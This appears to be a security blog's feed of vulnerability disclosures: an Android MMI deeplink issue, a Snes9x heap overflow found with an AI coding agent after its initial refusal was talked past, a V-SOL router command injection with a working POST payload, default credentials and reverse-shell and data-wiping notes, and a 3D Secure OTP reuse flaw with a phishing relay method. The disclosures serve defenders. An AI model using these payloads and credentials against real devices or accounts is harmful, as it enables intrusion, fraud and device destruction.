  <p>While we agree that this is an area where the Android platform could be improved—such as your suggestions to decouple the permissions or add user confirmation prompts—this type of architectural change is considered a platform improvement rather than a security vulnerability in the current OS. Because the exploit relies on third-party apps improperly exposing their dial paths, it remains outside the scope of the Android &amp; Google Devices Vulnerability Reward Program.</p>
</blockquote>

<p>I reported the ACR Phone deeplink issue to its developer on 9 October along with a recommendation that MMI and USSD strings be rejected on the externally-reachable dial path.</p>

<p>The response was much quicker than I had expected. The developer responded 48 minutes later, mentioning that a fix was committed to the next release, supplying a beta build for verification. The developer noted that the Play release would be dependent on Google’s review, which he expected to complete towards the end of the following week.</p>

<p>Re: ACR Phone, <code class="language-plaintext highlighter-rouge">DialerActivity</code> has been reported before. The same component was the subject of <a href="https://github.com/actuator/com.nll.cb/blob/main/CVE-2024-36064">CVE-2024-36064</a>, reported by Edward Warren, which described the activity as being reachable by any installed application — one without any permissions — such that a crafted intent would place a call with no user interaction, affecting versions through <code class="language-plaintext highlighter-rouge">0.330-playStore-NoAccessibility-arm8</code>. The two issues share a root cause, in that an exported entry point into the dial path performs no validation of either its caller or its payload. The earlier report required a malicious application to have been installed on the device already, and resulted in a call being placed. The path described here is reachable from any web page, and reconfigures the subscriber’s service with the carrier.</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<p><strong><code class="language-plaintext highlighter-rouge">CALL_PHONE</code> and MMI execution</strong></p>

<ul>
  <li>12 Sep 2026 — Reported to the Android &amp; Google Devices VRP</li>
  <li>14 Sep 2026 — Added an Android 17 retest</li>
  <li>17 Sep 2026 — Closed as Won’t Fix (Infeasible); not an OS vulnerability, but third-party deeplink handling</li>
  <li>09 Oct 2026 — Reported the deeplink issue to the ACR Phone developer</li>
  <li>09 Oct 2026 — ACR Phone developer acknowledged the report, fix committed to the next release</li>
  <li>9 Oct 2026 — Public disclosure</li>
</ul>

<p><strong>The TelecomUi trampoline</strong></p>

<ul>
  <li>14 Sep 2026 — Reported to the Android &amp; Google Devices VRP as a separate issue</li>
  <li>24 Sep 2026 — Closed as a duplicate of an issue reported earlier by a Google engineer</li>
  <li>25 Sep 2026 — Request to be invited to the original report declined by Google</li>
  <li>9 Oct 2026 — Public disclosure</li>
</ul>]]></content><author><name>Karan Saini</name></author><category term="Security" /><category term="android" /><category term="ussd" /><category term="call forwarding" /><category term="deeplinks" /><summary type="html"><![CDATA[An application with the CALL_PHONE permission can execute carrier MMI/USSD codes with no user confirmation. A vulnerable application with browsable deeplinks can trigger MMI execution with a single tap.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://karansaini.com/media/1-click-mmi-card.png" /><media:content medium="image" url="https://karansaini.com/media/1-click-mmi-card.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Out-of-bounds write vulnerability in Snes9x 1.63</title><link href="https://karansaini.com/snes9x-oob-write/" rel="alternate" type="text/html" title="Out-of-bounds write vulnerability in Snes9x 1.63" /><published>2026-06-17T05:00:00+00:00</published><updated>2026-06-17T05:00:00+00:00</updated><id>https://karansaini.com/snes9x-oob-write</id><content type="html" xml:base="https://karansaini.com/snes9x-oob-write/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>This short article details an out-of-bounds write vulnerability in <code class="language-plaintext highlighter-rouge">snes9x-1.63-win32</code>.</p>

<p><img src="/media/snes9x-logo.png" alt="" width="250" /></p>

<p>This is the first vulnerability that I’ve guided an LLM (Anthropic’s Claude Opus 4.6) into discovering. I was inspired to take a look at popular emulators after watching a <a href="https://www.youtube.com/watch?v=zqUYNYWPlpQ">YouTube video</a> earlier this year about an arbitrary code execution vulnerability in Project64, a Nintendo 64 emulator. The Project64 vulnerability was discovered and disclosed by <a href="https://gist.github.com/aglab2/6bb351c4bd0ac6e13c931e03aa8f9949">Denis Kopyrin</a> (aglab2) in February 2024.</p>

<h2 id="rationale-setup-and-process">Rationale, setup, and process</h2>

<p>I have little experience with fuzzing or discovering memory corruption bugs, so my plan was to identify likely places in the program where a memory safety issue might exist, and let the LLM do the rest. I picked <a href="https://www.snes9x.com">Snes9x</a> as the target as it is a popular Super Nintendo Entertainment System (SNES) emulator and is open source software.</p>

<p>I set up a Windows virtual machine, cloned the <a href="https://github.com/snes9xgit/snes9x/">Snes9x GitHub repository</a>, and ran Claude Code with the <code class="language-plaintext highlighter-rouge">--dangerously-skip-permissions</code> flag in the program’s directory. The model I opted to use was Claude Opus 4.6 with ‘effort’ set to maximum.</p>

<p>The most viable entry point I’d identified was the code handling the loading of ROMs and patch files. Though I no longer have access to the chat, the initial prompt was something along the lines of “I know there is a vulnerability in the loading of ROM or patches. Find it.”</p>

<p>The LLM refused at first, but proceeded after being reminded of my intention to report any vulnerabilities it found. Heh! It is worth noting that Anthropic’s Cyber Verification Program did not exist at that time, and only came about with the release of <a href="https://www.cnbc.com/2026/04/16/anthropic-claude-opus-4-7-model-mythos.html">Claude Opus 4.7</a>.</p>

<p>The session usage limit of the $20 Claude Pro subscription was exhausted twice during the discovery process, with both sessions lasting roughly around 20 minutes.</p>

<h2 id="cve-2026-39199">CVE-2026-39199</h2>

<p>An attacker-crafted <code class="language-plaintext highlighter-rouge">.ups</code> patch file can trigger a heap-based out-of-bounds write on <code class="language-plaintext highlighter-rouge">Memory.ROM</code>. This results in corruption of adjacent heap memory and a crash of the emulator when the matching ROM is loaded.</p>

<p>The patching logic in <a href="https://github.com/snes9xgit/snes9x/blob/master/memmap.cpp#L3942">memmap.cpp:3942</a> automatically searches for a <code class="language-plaintext highlighter-rouge">.ups</code> file matching the ROM filename and applies it without prompting the user. This means simply placing a malicious <code class="language-plaintext highlighter-rouge">.ups</code> file alongside a ROM (e.g., in a downloaded ROM pack or shared directory) is enough to trigger the vulnerability. UPS patches (alongside the respectively inferior and superior IPS and BPS patches) are what enable “ROM hacks.”</p>

<p>In the UPS patching routine (in <code class="language-plaintext highlighter-rouge">memmap.cpp</code>, prior to the fix in commit <a href="https://github.com/snes9xgit/snes9x/commit/96b366100172723f6314c40e237b370f4f7b59f4">96b3661</a>), the patch application loop accumulates a <code class="language-plaintext highlighter-rouge">relative</code> offset from values decoded out of the patch data, then uses it to XOR bytes directly into <code class="language-plaintext highlighter-rouge">Memory.ROM</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  uint32 relative = 0;
  while(addr &lt; size - 12) {
      relative += XPSdecode(data, addr, size);
      while(addr &lt; size - 12) {
          uint8 x = data[addr++];
          Memory.ROM[relative++] ^= x;  // &lt;-- no bounds check
          if(!x) break;
      }
  }
</code></pre></div></div>

<p>At line 3636, the function checks that <code class="language-plaintext highlighter-rouge">out_size &lt;= CMemory::MAX_ROM_SIZE</code>, but it never validates that <code class="language-plaintext highlighter-rouge">relative</code> stays within <code class="language-plaintext highlighter-rouge">out_size</code> (or <code class="language-plaintext highlighter-rouge">MAX_ROM_SIZE</code>) during the XOR loop. A malicious UPS file can encode arbitrarily large offset values via <code class="language-plaintext highlighter-rouge">XPSdecode</code>, causing <code class="language-plaintext highlighter-rouge">relative</code> to run past the allocated buffer and write out of bounds.</p>

<h1 id="conclusion">Conclusion</h1>
<p>With Address Space Layout Randomization and Data Execution Prevention enabled (that is, by-default on modern Windows installations) this vulnerability results only in a crash.</p>

<p>When prompted to demonstrate code execution with these protections disabled, Claude Opus 4.6 generated a Python ‘harness’ that does succeed in spawning <code class="language-plaintext highlighter-rouge">calc.exe</code>, but only by first reading the running process’s memory to resolve <code class="language-plaintext highlighter-rouge">WinExec</code> and locating the live <code class="language-plaintext highlighter-rouge">Memory.ROM</code> buffer to craft a <code class="language-plaintext highlighter-rouge">.ups</code> file good for exactly one run. No dice.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>A Proof of Concept (archive containing <code class="language-plaintext highlighter-rouge">.ups</code> and ROM file) that reliably crashes Windows builds of Snes9x 1.63 on load is available <a href="https://github.com/user-attachments/files/26470919/poc_crash.zip">here</a>.</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>
<ul>
  <li>Apr 4, 2026 — Vendor informed of vulnerability via <a href="https://github.com/snes9xgit/snes9x/issues/1035">GitHub issue</a></li>
  <li>Apr 4, 2026 — CVE requested from MITRE</li>
  <li>Apr 6, 2026 — Patched by <a href="https://github.com/snes9xgit/snes9x/commit/96b366100172723f6314c40e237b370f4f7b59f4">commit 96b3661</a></li>
  <li>Jun 11, 2026 — CVE assigned</li>
  <li>Jun 17, 2026 — Vulnerability publicly disclosed</li>
</ul>]]></content><author><name>Karan Saini</name></author><category term="Security" /><category term="emulator" /><category term="super nintendo" /><summary type="html"><![CDATA[A crafted UPS patch file can write past the end of Memory.ROM, crashing the emulator when a matching ROM is loaded.]]></summary></entry><entry><title type="html">Command injection vulnerability in V-SOL home networking devices</title><link href="https://karansaini.com/os-command-injection-v-sol/" rel="alternate" type="text/html" title="Command injection vulnerability in V-SOL home networking devices" /><published>2020-07-15T08:06:55+00:00</published><updated>2020-07-15T08:06:55+00:00</updated><id>https://karansaini.com/os-command-injection-v-sol</id><content type="html" xml:base="https://karansaini.com/os-command-injection-v-sol/"><![CDATA[<h1 id="command-injection-vulnerability-in-v-sol-home-networking-devices">Command injection vulnerability in V-SOL home networking devices</h1>
<p>This article details an arbitrary OS command injection vulnerability present in the management portal for several GPON home routers manufactured by Guangzhou V-SOLUTION (“V-SOL”). V-SOL manufactures a variety of FTTH and FTTB products, including residential gateway devices, network switches, line termination devices, and more.</p>

<p>This vulnerability was discovered and reported to the vendor in February of 2020, and to date, a patch has not been released. I decided that I would publish details about this specific vulnerability shortly after researchers Pierre Kim and Alexandre Torres published their own work documenting what they surmised to be <a aria-label="undefined (opens in a new tab)" href="https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html" target="_blank" rel="noreferrer noopener">potential backdoor accounts</a> present in optical line termination devices manufactured by vendor ‘C-Data’ — as well as those <a aria-label="undefined (opens in a new tab)" href="https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html" target="_blank" rel="noreferrer noopener">manufactured by V-SOL.</a></p>

<h2 id="cve-2020-8958">CVE-2020-8958</h2>

<p>The vulnerable endpoint is part of the ‘PING diagnosis’ functionality that is available on the device management portal, located at <code class="language-plaintext highlighter-rouge">&lt;IP_ADDR&gt;/boaform/admin/formPing</code>. Arbitrary command execution can be achieved by sending a crafted <code class="language-plaintext highlighter-rouge">HTTP</code> <code class="language-plaintext highlighter-rouge">POST</code> request containing shell meta-characters to the PING diagnosis endpoint.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST http://&lt;IP_ADDR&gt;/boaform/admin/formPing HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://&lt;IP_ADDR&gt;
Connection: keep-alive
Referer: http://&lt;IP_ADDR&gt;/diag_ping_admin_en.asp
Upgrade-Insecure-Requests: 1
Host: &lt;IP_ADDR&gt;

target_addr=%3Bcat%20%2Fetc%2Fpasswd&amp;waninf=LAN
</code></pre></div></div>

<p><img src="/media/Screenshot_2020-07-13-1GEWifi.png" alt="" width="250" style="display: block; margin-left: auto; margin-right: auto;" /></p>

<p>Administrator credentials are required in order to access the management portal and exploit this flaw. Default credentials for the device can be found in the table below.</p>

<table>
  <tr>
    <td>
      <strong>Username</strong>
    </td>
    
    <td>
      <strong>Hash</strong>
    </td>
    
    <td>
      <strong>Password</strong>
    </td>
    
    <td>
      <strong>UID</strong>
    </td>
    
    <td>
      <strong>GID</strong>
    </td>
    
    <td>
      <strong>Shell</strong>
    </td>
  </tr>
  
  <tr>
    <td>
      admin
    </td>
    
    <td>
      $1$$CoERg7ynjYLsj2j4glJ34.
    </td>
    
    <td>
      admin
    </td>
    
    <td>
    </td>
    
    <td>
    </td>
    
    <td>
      /tmp:/bin/cli
    </td>
  </tr>
  
  <tr>
    <td>
      adsl
    </td>
    
    <td>
      $1$$m9g7v7tSyWPyjvelclu6D1
    </td>
    
    <td>
      realtek
    </td>
    
    <td>
    </td>
    
    <td>
    </td>
    
    <td>
      /tmp:/bin/cli
    </td>
  </tr>
  
  <tr>
    <td>
      e8c
    </td>
    
    <td>
      $1$$L7MaPr42HrZ25CRVY1/89/
    </td>
    
    <td>
    </td>
    
    <td>
    </td>
    
    <td>
    </td>
    
    <td>
      /tmp:/bin/cli
    </td>
  </tr>
  
  <tr>
    <td>
      user
    </td>
    
    <td>
      $1$$ex9cQFo.PV11eSLXJFZuj.
    </td>
    
    <td>
      user
    </td>
    
    <td>
      1
    </td>
    
    <td>
    </td>
    
    <td>
      /tmp:/bin/cli
    </td>
  </tr>
</table>

<p><em>Note:</em> Some versions of the device may come with different default credentials for accessing the administrative account. NETLINK, an Indian distributor of V-SOL devices, supplies <code class="language-plaintext highlighter-rouge">stdONU101</code> <a aria-label="undefined (opens in a new tab)" href="http://web.archive.org/web/20200715130909/https://www.bsnlsupport.com/Configuration%20in%20ONT%20for%20BSNL%20Service.pdf" target="_blank" rel="noreferrer noopener">as the default password</a> for the administrative account.</p>

<p>A proof of concept script is available on <a aria-label="undefined (opens in a new tab)" href="https://github.com/qurbat/gpon" target="_blank" rel="noreferrer noopener">this repository,</a> execution of which will return the contents of the <code class="language-plaintext highlighter-rouge">/etc/passwd</code> file on a given vulnerable device. The <code class="language-plaintext highlighter-rouge">help</code> command provides a list of built-in shell commands that are available on the system.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>. : &amp;#91; &amp;#91;&amp;#91; alias bg break cd chdir continue echo eval exec exit
export false fg hash help jobs kill let local printf pwd read
readonly return set shift source test times trap true type ulimit
umask unalias unset wait
</code></pre></div></div>

<p>A list of binaries available on the device can be found below.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>11N_UDPserver
ShowStatus
aipc_util
arp
ash
auth
awk
boa
brctl
busybox
cat
chat
chmod
cli
config_wlan
configd
cp
ctadmin
cupsd
cwmpClient
dbg_tool
df
dhclient
dhcpd
dhcrelayV6
diag
diff
dnsmasq
ebtables
echo
ecmh
egrep
eponoamd
ethctl
expr
flash_erase
flash_eraseall
ftp
ftpd
fuser
grep
halt
ifconfig
igmpproxy
inetd
init
insmod
ip
ip6tables
ipcs
iptables
iptables-batch
iwcontrol
iwpriv
jsct_getloid
kill
killall
klogd
led
ledtest
linuxrc
loadconfig
login
loopback
lp
lpadmin
lpstat
ls
lsmod
md5sum
mdev
mfcv6d
mib
midware_intf
mini_upnpd
minidlna
miniupnpd
mkdir
mknod
mount
mpctl
nc
ntfs-3g
nv
oamcli
omci_app
omcicli
parallel
pidof
ping
ping6
pondetect
poweroff
ps
qc
radvd
radvdump
reboot
rm
rmmod
route
routed
saveconfig
sed
sh
show
sleep
slogd
smbd
spppctl
spppd
startcupsd
startup
stty
systemd
tar
tc
tcp2dev
telnetd
tftp
tftpd
top
traceroute
udhcpc
udhcpd
udpechoserver
umount
updatedd
updateddctrl
upnpctrl
upnpmd_cp
usbmount
vconfig
vsEncrypt
vsntp
vswdg
wdg
wget
wget_manage
wscd
xmlconfig
</code></pre></div></div>

<p><em>Note:</em> It was found that executing the <code class="language-plaintext highlighter-rouge">flash_eraseall</code> command on a vulnerable device will — for most purposes — result in the device being stuck in a perpetually bricked state.</p>

<p>The device utilizes BusyBox and is somewhat limited in terms of supported functions. A list of available functions can be found below.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ash, awk, cat, chmod, cksum, cmp, cp, df, diff, echo, egrep, expr,
fuser, grep, halt, ifconfig, init, insmod, ipcs, kill, killall,
klogd, linuxrc, ls, lsmod, md5sum, mdev, mkdir, mknod, mount, nc,
pidof, ping, ping6, poweroff, ps, reboot, rm, rmmod, route, sed,
sh, sleep, stty, tar, top, traceroute, umount, vconfig
</code></pre></div></div>

<p>It is possible for a remote attacker to gain a reverse shell on the device using <code class="language-plaintext highlighter-rouge">nc</code>. It is also possible to <code class="language-plaintext highlighter-rouge">wget</code> files and write them to the <code class="language-plaintext highlighter-rouge">/var/config</code> directory on the device. This can be used by a remote attacker to download bash scripts or other files for carrying out post-exploitation activities on the system.</p>

<p><em>Note:</em> <code class="language-plaintext highlighter-rouge">wget</code> will fail to fetch files — or rather will return empty files — if the server from which a particular file is being retrieved makes use of HTTPS_._</p>

<h2 id="survey-of-affected-devices">Survey of affected devices</h2>

<p>A brief survey of vulnerable devices reveals only one hardware version in usage: Version 1.1. Software versions that are known to be vulnerable fall between the ranges of V1.9.1-181203 and V2.9.0-181024, though it is suspected that build versions prior to V1.9.1-181203 would be affected too.</p>

<p><em>Note:</em> No devices running build versions prior to V1.9.1-181203 were discovered during the course of this research.</p>

<p>In February, when the issue was first reported to the manufacturer, the Shodan search engine was indexing a total of 8,387 vulnerable devices. This figure, however, might not be fully representative of the actual number of vulnerable devices at any given point, considering that <em>**</em>a) results indexed on Shodan only represent those devices that, at the time, had remote management enabled and b) some users might have changed the administrative credentials used to access the management portal.</p>

<p><img src="/media/Screenshot_2020-07-13-title-1ge-Shodan-Search.png" alt="" width="250" style="display: block; margin-left: auto; margin-right: auto;" /></p>

<p>At the time this post was published, the number of vulnerable devices that were indexed on Shodan had dramatically reduced to 1,900. The reason for this decrease is not immediately apparent. A small country-wise list can be found below.</p>

<table>
  <tr>
    <td>
      <strong>Country</strong>
    </td>
    
    <td>
      <strong>Number of devices</strong>
    </td>
  </tr>
  
  <tr>
    <td>
      Cambodia
    </td>
    
    <td>
      579
    </td>
  </tr>
  
  <tr>
    <td>
      India
    </td>
    
    <td>
      571
    </td>
  </tr>
  
  <tr>
    <td>
      Brazil
    </td>
    
    <td>
      239
    </td>
  </tr>
  
  <tr>
    <td>
      Bulgaria
    </td>
    
    <td>
      159
    </td>
  </tr>
  
  <tr>
    <td>
      Philippines
    </td>
    
    <td>
      95
    </td>
  </tr>
</table>

<h3 id="update--july-15-2020-6-pm-ist">UPDATE — July 15, 2020 (6 PM IST)</h3>

<p>After this vulnerability was publicly disclosed, it was discovered that a sizeable number of vulnerable devices were omitted from the list above, due to the manufacturer having had made cursory changes (such as to the <code class="language-plaintext highlighter-rouge">&lt;title&gt;</code> tag) on the landing page of the management portal on some devices. This initially hindered the process of device discovery through fingerprinting, and the updated tally of publicly accessible vulnerable devices now reflects upward of the 20,000 mark.</p>

<h2 id="final-notes">Final notes</h2>

<p>Though the device in question is originally manufactured by V-SOL, it is primarily sold around the world through a network of regional distributors. In some cases, distributors will also place their own branding on both the physical hardware and the management portal for the device.</p>

<p>While it was not feasible to compile a conclusive list of distributors, V-SOL <a href="http://web.archive.org/web/20200715094952/https://www.gpononu.com/web-cases/" target="_blank" aria-label="undefined (opens in a new tab)" rel="noreferrer noopener">states that</a> they have shipped over 500,000 devices that are sold by distributors in Brazil, India, Ukraine, Poland, Thailand, and Bangladesh. On their website, V-SOL also states that they have produced over 2 million individual FTTx units for China Telecom and China <em>_Unicom</em>._</p>

<p>In India, <a aria-label="undefined (opens in a new tab)" href="https://www.flipkart.com/netlink-gepon-onu-1ge-wifi-2801rw-300-mbps-router/p/itmfejvgnc3td9fa" target="_blank" rel="noreferrer noopener nofollow">NETLINK </a>(2801RW), <a aria-label="undefined (opens in a new tab)" href="https://www.amazon.in/Syrotech-Technologies-1POTS-Fiber-Router/dp/B07Z1LZ46L" target="_blank" rel="noreferrer noopener nofollow">SyroTech</a> (HG323RGW), <a aria-label="undefined (opens in a new tab)" href="https://www.digisol.com/products/ftth-solutions/gepon/digisol-gepon-onu-dg-gr1310-300mbps-wi-fi-router-with-1-pon-and-1-giga-port/" target="_blank" rel="noreferrer noopener nofollow">Digisol </a>(DG-GR1310), and <a aria-label="undefined (opens in a new tab)" href="https://www.flipkart.com/dbc-technology-technologies-dual-mode-ftth-gpon-epon-onu-1ge-300-mbps-router/p/itmfgszvj23quxx3" target="_blank" rel="noreferrer noopener nofollow">DBC Technologies</a> are just a few of the companies that are involved in the marketing and distribution of networking devices manufactured by V-SOL. As of now, the devices that are offered by NETLINK and Digisol are confirmed to be vulnerable.</p>

<p>In the recent past, several other GPON network devices have been found to be similarly vulnerable, too. For instance: In 2018, researchers disclosed details about a similar flaw <a aria-label="undefined (opens in a new tab)" href="https://nvd.nist.gov/vuln/detail/CVE-2018-10561" target="_blank" rel="noreferrer noopener">(CVE-2018<strong>–</strong>10561)</a> affecting devices manufactured by California-based DASAN Zhone Solutions. The ecosystem of such devices has only become even more at risk since then, especially in light of the aforementioned research published by Kim et. al.</p>

<h3 id="vulnerability-information">Vulnerability information</h3>

<table>
  <tr>
    <td>
      <strong>Vendor</strong>
    </td>
    
    <td>
      <strong>Description</strong>
    </td>
    
    <td>
      <strong>Vulnerability</strong> <strong>Class</strong>
    </td>
    
    <td>
      <strong>Impact</strong>
    </td>
    
    <td>
      <strong>Remotely </strong> <strong>exploitable</strong>
    </td>
    
    <td>
    </td>
    
    <td>
    </td>
  </tr>
  
  <tr>
    <td>
      Guangzhou V-SOLUTION
    </td>
    
    <td>
      Guangzhou 1GE ONU devices V2801RW and V2804RGW running build version 1.9.1-181203 through 2.9.0-181024 allow remote attackers to execute arbitrary OS commands via shell metacharacters in theboaform/admin/formPing Dest IP Address field.<br />[CVE-2020-8958]
    </td>
    
    <td>
      Improper Neutralization of Special Elements used in an OS Command (&#8216;OS Command Injection&#8217;) [CWE-78]
    </td>
    
    <td>
      Arbitrary OS command execution
    </td>
    
    <td>
      YES
    </td>
    
    <td>
    </td>
    
    <td>
    </td>
  </tr>
</table>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<ul>
  <li>Feb 11, 2020 – Vendor informed of vulnerability via email;</li>
  <li>Feb 13, 2020 – <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-8958" target="_blank" aria-label="undefined (opens in a new tab)" rel="noreferrer noopener">CVE-2020-8958</a> assigned;</li>
  <li>July 15, 2020 – Vulnerability publicly disclosed.</li>
</ul>]]></content><author><name>Karan Saini</name></author><category term="Security" /><category term="CVE-2020-8958" /><category term="GPON" /><summary type="html"><![CDATA[This article details an arbitrary OS command injection vulnerability present in the management portal for several models of GPON home routers manufactured by Guangzhou V-SOLUTION.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://karansaini.com/media/v-sol.png" /><media:content medium="image" url="https://karansaini.com/media/v-sol.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Attacking a weak 3D Secure implementation</title><link href="https://karansaini.com/3d-secure-flawed-otp-handling/" rel="alternate" type="text/html" title="Attacking a weak 3D Secure implementation" /><published>2019-08-24T22:20:21+00:00</published><updated>2019-08-24T22:20:21+00:00</updated><id>https://karansaini.com/3d-secure-flawed-otp-handling</id><content type="html" xml:base="https://karansaini.com/3d-secure-flawed-otp-handling/"><![CDATA[<h1 id="attacking-a-weak-3d-secure-implementation">Attacking a weak 3D Secure implementation</h1>
<p>This article documents a security flaw in the mechanism through which the 3D Secure implementation of Wibmo — which is the primary integrator of the 3D Secure protocol for banks in India — handles the generation and processing of the one-time PIN used for performing cardholder verification. The mechanism used by the Wibmo 3D Secure Access Control Server for generating the one-time PIN improperly handles transactions that have been initiated within a 180 second time-frame of each other, resulting in the generation and delivery of a singular, non-unique one-time PIN for both of the transactions. The flaw allows an attacker to re-appropriate a one-time PIN which has been generated for a low-value transaction (e.g., 10 INR) for successfully completing another transaction of an arbitrary amount (e.g., 1000 INR).</p>

<h2 id="3d-secure-10">3D Secure 1.0</h2>

<p>The 3D Secure (“<em>3</em>–<em>domain structure”</em>) protocol was originally developed by Arcot Systems for adding an additional layer of authentication for card-based transactions on the Internet. 3D Secure 1.0 (3DS1) has been the de-facto standard for online cardholder verification and has been adopted by several major card schemes, such as Visa through <em><a href="https://usa.visa.com/pay-with-visa/featured-technologies/verified-by-visa.html">Verified by Visa</a></em> and Mastercard through <em><a href="https://www.mastercard.us/en-us/consumers/payment-technologies/securecode.html">SecureCode</a></em>.</p>

<p>The first iteration of the protocol has been criticized over time by various parties — including online merchants who have argued that implementation has an affect on conversion rates — as well as academic researchers, who have stated that the protocol may not be as effective in preventing card fraud as it is purported to be. 3DS1 has also been repeatedly criticized for non-uniformity, and implementations of the protocol have been <a href="https://www.adyen.com/blog/3d-secure-20-a-new-authentication-solution">noted</a> as being “inconsistent from bank to bank and country to country.”</p>

<p>The Reserve Bank of India has long mandated that banks within the country implement <a href="https://m.rbi.org.in/CommonPerson/english/Scripts/FAQs.aspx?Id=1498"><em>“additional factor authentication”</em></a> for all transactions where the physical presence of a payment instrument cannot be verified, e.g., for transactions which do not involve card interaction with a point-of sale-system. Indian banks traditionally perform online cardholder verification through confirmation of an additional authentication step, such as a user-defined PIN, passphrase, or a dynamic one-time PIN (OTP). While mandatory cardholder verification is generally perceived as a step in the right direction, it should noted that the Reserve Bank of India has not issued guidelines or best practices on how banks should implement secure additional factor authentication for their customers.</p>

<h2 id="wibmo-3ds-10">Wibmo 3DS 1.0</h2>

<p>Wibmo — previously known as enStage — is a financial software and services provider based in Bangalore, India. The company acts as a 3DS1 integrator for a large number of significant financial institutions in India, including banks like Punjab National Bank, Kotak Mahindra Bank, Corporation Bank, and others.</p>

<p>The mechanism used by the Wibmo 3DS1 Access Control Server for generating the one-time PIN improperly handles transactions that have been initiated within a 180-second time-frame of each other, resulting in the generation and delivery of a singular, non-unique one-time PIN for both of the transactions.</p>

<p>The flaw can be observed by initiating a transaction for a low arbitrary amount (e.g., 1 INR), then consequently — within 180 seconds — initiating a parallel for a higher arbitrary amount (e.g., 1000 INR). The one-time PIN mechanism implemented on the 3DS Access Control Server will generate and deliver the same OTP to the customer in both cases. The delivered OTP can then be used for successfully authenticating either of the two transactions.</p>

<p><img src="/media/366.png" alt="INR 366" width="250" /></p>

<p>The two transactions need not be limited to the same merchant, meaning that, the OTP generated for transacting at Store ABC will be identically generated for transacting at Store XYZ — as long as the second transaction was initiated within the 180-second window. Another factor to note is that, the two transactions need not be initiated from the same IP address for the same OTP to be delivered twice. If that, however, were the case, perhaps not generating a fresh one-time PIN for the second transaction could be excused.</p>

<p><img src="/media/999.png" alt="INR 999" width="250" /></p>

<h2 id="insecure-otp-generation">Insecure OTP Generation</h2>

<p>The non-uniqueness of the one-time PIN can be attributed to the OTP generation mechanism which has been employed by the 3DS Access Control Server — which relies solely on the customer’s credit or debit card number — in addition to a 180-second timer which is set by the Access Control Server during which requests for generating of a fresh OTP are not entertained. This essentially means that a fresh one-time PIN will <em>not be generated until</em> 180 seconds have elapsed from the generation of a previous OTP — without consideration of parameters such as <em>TXN_ID, TXN_VALUE, IP_ADDR</em>, etc.</p>

<p><img src="/media/otp_gen_insecure.png" alt="Insecure OTP generation method" width="250" /></p>

<p><img src="/media/otp_gen_secure.png" alt="Ideal OTP Generation method" width="250" /></p>

<p>It can be assumed that the 180-second timer on OTP generation was put in place for reducing rigidity and friction, like in cases where a customer may have subpar cellular coverage and may repeatedly attempt to <em>resend OTP</em> several times in quick succession. Regardless, even if such a use case were given consideration, the design choice which dictates that an OTP should be generated solely on the basis of the card number — without accounting for dynamic parameters such as <em>TXN_ID</em> — which, if they were employed, would result in the generated OTP being unique across transactions — would perhaps still not be justifiable.</p>

<p>In an email response, Wibmo’s security team confirmed that OTP generation mechanism does not account for <em>“a specific session or transaction</em>,<em>“</em> stating that only the payment card number is treated as an input parameter. The security team further went on to state that the weak handling of OTP generation <em>“is not a flaw in the system, but a known functionality,”</em> which is certainly not true, as other banks which make use of the 3D Secure protocol, such as HDFC Bank, generate a unique one-time PIN for each separate transaction, regardless of time elapsed from the generation of a previous OTP.</p>

<p>The email from the Wibmo security team further went on to remark that, since the validity of an OTP expires after being used once, that <em>“an OTP generated for two parallel transactions can only ultimately still only be used in one.”</em> The following section will demonstrate how the discovered flaw can be used for carrying out a convincing OTP __relay or real-time phishing attack, similar to the type of attack which is <a href="https://www.zdnet.com/article/new-tool-automates-phishing-attacks-that-bypass-2fa/">employed for defeating Google’s 2FA</a> — through <a href="https://www.vice.com/en_us/article/evye3a/hackers-publish-list-of-discord-email-addresses-passwords-login-credentials">automated phishing</a> of the 2FA token.</p>

<h2 id="exploitation">Exploitation</h2>

<p>An attacker can carry out an OTP relay or real-time phishing attack to automate siphoning of user funds. The first step of such an attack involves the customer submitting an OTP to the attacker’s domain, which is masquerading as a legitimate 3D Secure authentication page — but is instead actually only a wrapper for acquiring the OTP from the victim. The wrapper will call a payment API for initiating the first transaction with a non-suspicious value — and upon submission of the OTP to the wrapper page — would immediately initiate <em>and</em> successfully complete a transaction for a predefined high-value amount.</p>

<p>A tool such as Piotr Duszynski’s <a href="https://github.com/drk1wi/Modlishka"><em>Modlishka</em></a> — or Mike Felch’s <a href="https://github.com/ustayready/CredSniper"><em>CredSniper</em></a> — or FireEye’s <a href="https://github.com/fireeye/ReelPhish">ReelPhish</a> — can be configured for provisioning an automated phishing setup which targets the Wibmo 3D Secure ACS. A key advantage for an attacker here would be that, in most cases, 3D Secure ACS URLs are not the most memorable, and thus would not be immediately recognizable to a victim — unlike web addresses for popular services such as Google or Yahoo. Alternatively, an unsophisticated actor may quite simply just choose to remain <em>low-technology</em> and perform a tried and trusted social engineering attack.</p>

<h2 id="conclusion">Conclusion</h2>

